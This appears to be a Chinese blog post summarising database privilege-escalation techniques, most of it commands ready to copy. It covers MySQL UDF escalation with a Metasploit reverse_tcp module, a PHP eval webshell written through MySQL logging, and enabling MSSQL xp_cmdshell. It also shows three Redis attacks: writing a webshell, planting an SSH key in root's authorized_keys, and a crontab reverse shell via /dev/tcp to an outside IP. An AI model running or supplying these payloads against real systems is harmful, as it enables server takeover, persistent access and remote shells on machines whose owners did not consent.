数据库提权总结

Mysql提权

UDF提权是利用MYSQL的自定义函数功能,将MYSQL账号转化为系统system权限

前提:

1.UDF提权条件

(1)Mysql版本大于5.1版本udf.dll文件必须放置于MYSQL安装目录下的lib\plugin文件夹下。

(2)Mysql版本小于5.1版本。udf.dll文件在Windows2003下放置于c:\windows\system32,在windows2000下放置于c:\winnt\system32

(3)掌握的mysql数据库的账号有对mysqlinsertdelete权限以创建和抛弃函数,一般以root账号为佳,具备`root账号所具备的权限的其它账号也可以。

(4)可以将udf.dll写入到相应目录的权限。

复制代码
 secure_file_priv为空

show global variables like 'secure%';
    当 secure_file_priv 的值为 NULL ,表示限制 mysqld 不允许导入|导出,此时无法提权
    当 secure_file_priv 的值为 /tmp/ ,表示限制 mysqld 的导入|导出只能发生在 /tmp/ 目录下,此时也无法提权
     当 secure_file_priv 的值没有具体值时,表示不对 mysqld 的导入|导出做限制,此时可提权

提权步骤:获取密码-开启外联-高版本创建目录-MSF导出dll

Mysql版本查询命令

复制代码
SELECT @@version`、`SELECT  version();

Mysql写马

复制代码
set global general_log = ON;开启日志
set global general_log_file = "C:/phpstudy_pro/WWW/shell.php"
select '<?php eval($_POST[shell]);?>'

提权方法

复制代码
select version();//获取数据库版本
select user();//获取数据库用户
select @@basedir ;//获取安装目录
show variables like '%plugins%';  //寻找mysql安装路径
GRANT ALL PRIVILEGES ON *.* TO '帐号'@'%' IDENTIFIED BY '密码' WITH GRANT OPTION; //开启外联

利用MSF的exploit/multi/mysql/mysql_udf_payload导出udf dll文件

复制代码
use exploit/multi/mysql/mysql_udf_payload
set payload windows/meterpreter/reverse_tcp
set password root
set rhosts 10.10.10.1 (这里更换了靶机)
run

 
create function sys_eval returns string soname "WqkerHcA.dll";//创建函数绑定dll

使用方法:

复制代码
select sys_eval("whoami");//调用函数进行命令执行

MSSQL

1.使用xp_cmdshell进行提权

如果用户拥有管理员sa权限则可以用sp_configure重修开启它

启用xp_cmdshell

复制代码
EXEC sp_configure 'show advanced options', 1
RECONFIGURE;
EXEC sp_configure 'xp_cmdshell', 1;
RECONFIGURE;

关闭

复制代码
exec sp_configure 'show advanced options', 1;
reconfigure;
exec sp_configure 'xp_cmdshell', 0;
reconfigure;

执行

复制代码
EXEC master.dbo.xp_cmdshell '命令'
如果xp_cmdshell被删除了,可以上传xplog70.dll进行恢复
exec master.sys.sp_addextendedproc 'xp_cmdshell', 'C:\Program Files\Microsoft SQL Server\MSSQL\Binn\xplog70.dll'

Oracle- 普通用户&注入提升模式&DBA模式

1、普通用户模式:

前提是拥有一个普通的oracle连接账号,不需要DBA权限,可提权至DBA,并以oracle实例运行的权限执行操作系统命令。

2、DBA用户模式:(自动化工具演示)

拥有DBA账号密码,可以省去自己手动创建存储过程的繁琐步骤,一键执行测试。

3、注入提升模式:(Sqlmap测试演示)

拥有一个oracle注入点,可以通过注入点直接执行系统命令,此种模式没有实现回显

redis

1.利用redis写入webshell

前提条件

  • 可以成功远程连接,并且未作登录验证

  • 知道网站的绝对路径,并且具有写入权限
    连接redis

    redis-cli -h 10.0.20.99
    config set dir /opt/lampp/htdocs/temp
    config set dbfilename redis.php
    set x "\r\n\r\n<?php phpinfo();eval($_POST['shell']);?>"

2 写入SSH公钥

复制代码
ssh-keygen -t rsa  //生成RSA公私钥
(echo -e "\r\n";cat id_rsa.pub;echo -e "\r\n";) > 1.txt  //将生成的公钥添加换行输出为1.txt
config set dir /root/.ssh  //修改redis路径为ssh的公钥路径
config set dbfilename authorized_keys  //修改文件名
cat /root/.ssh/1.txt | redis-cli -h 192.168.30.103 -x set x
ssh -i id_rsa [email protected]  //写入公钥文件
ssh -i id_rsa [email protected]  //成功登录靶机

3.利用crontab反弹shell

redis写入定时计划

复制代码
config set dir /var/spool/cron  //修改redis路径为crontab的路径
config set dbfilename root  //修改文件名,修改完记得save一下
set x "\r\n*/1 * * * * /bin/bash -i>& /dev/tcp/192.168.30.102/6666 0>&1\r\n"
//写入定时计划

4.SSRF&Gopher&Redis

如果Redis在内网,无法直接访问,可以通过SSRF访问利用

gopher协议支持发出GET、POST请求:可以先获取get请求包和post请求包,再构成符合gopher协议的请求。

gopher协议格式

复制代码
gopher://<host>:<port>/<gopher-path>_后接TCP数据流

4.redis主从复制RCE

相关推荐
火绒终端安全管理系统31 分钟前
钓鱼网页散播银狐木马,远控后门威胁终端安全
网络·安全·web安全·网络安全·火绒安全
武汉唯众智创17 小时前
网络安全攻防演练实训室建设方案
web安全·网络安全·攻防演练·网络安全实训室·网络安全攻防演练实训室·网络安全攻防演练·攻防演练实训室
vortex51 天前
Windows权限与icacls命令详解
windows·网络安全·渗透测试·操作系统
Linux运维老纪1 天前
Ansible 守护 Windows 安全(Ansible Safeguards Windows Security)
linux·windows·网络安全·自动化·云计算·运维开发·asible
视觉&物联智能2 天前
【杂谈】-人工智能驱动的网络安全威胁:新一代网络钓鱼
网络·人工智能·web安全·网络安全·安全威胁分析
学习溢出2 天前
【网络安全】网络钓鱼的类型
网络·安全·网络安全·网络钓鱼·社会工程
柴郡猫^O^2 天前
OSCP - Proving Grounds - Wpwn
安全·网络安全·安全性测试
马大胡子2 天前
Greenbone(绿骨)开源GVM容器docker部署和汉化介绍
linux·网络安全·docker
饮长安千年月2 天前
学生管理系统审计
java·网络安全·代码审计
浩浩测试一下2 天前
网络安全实战指南:从安全巡检到权限维持的应急响应与木马查杀全(命令查收表)
linux·安全·web安全·ubuntu·网络安全·负载均衡·安全架构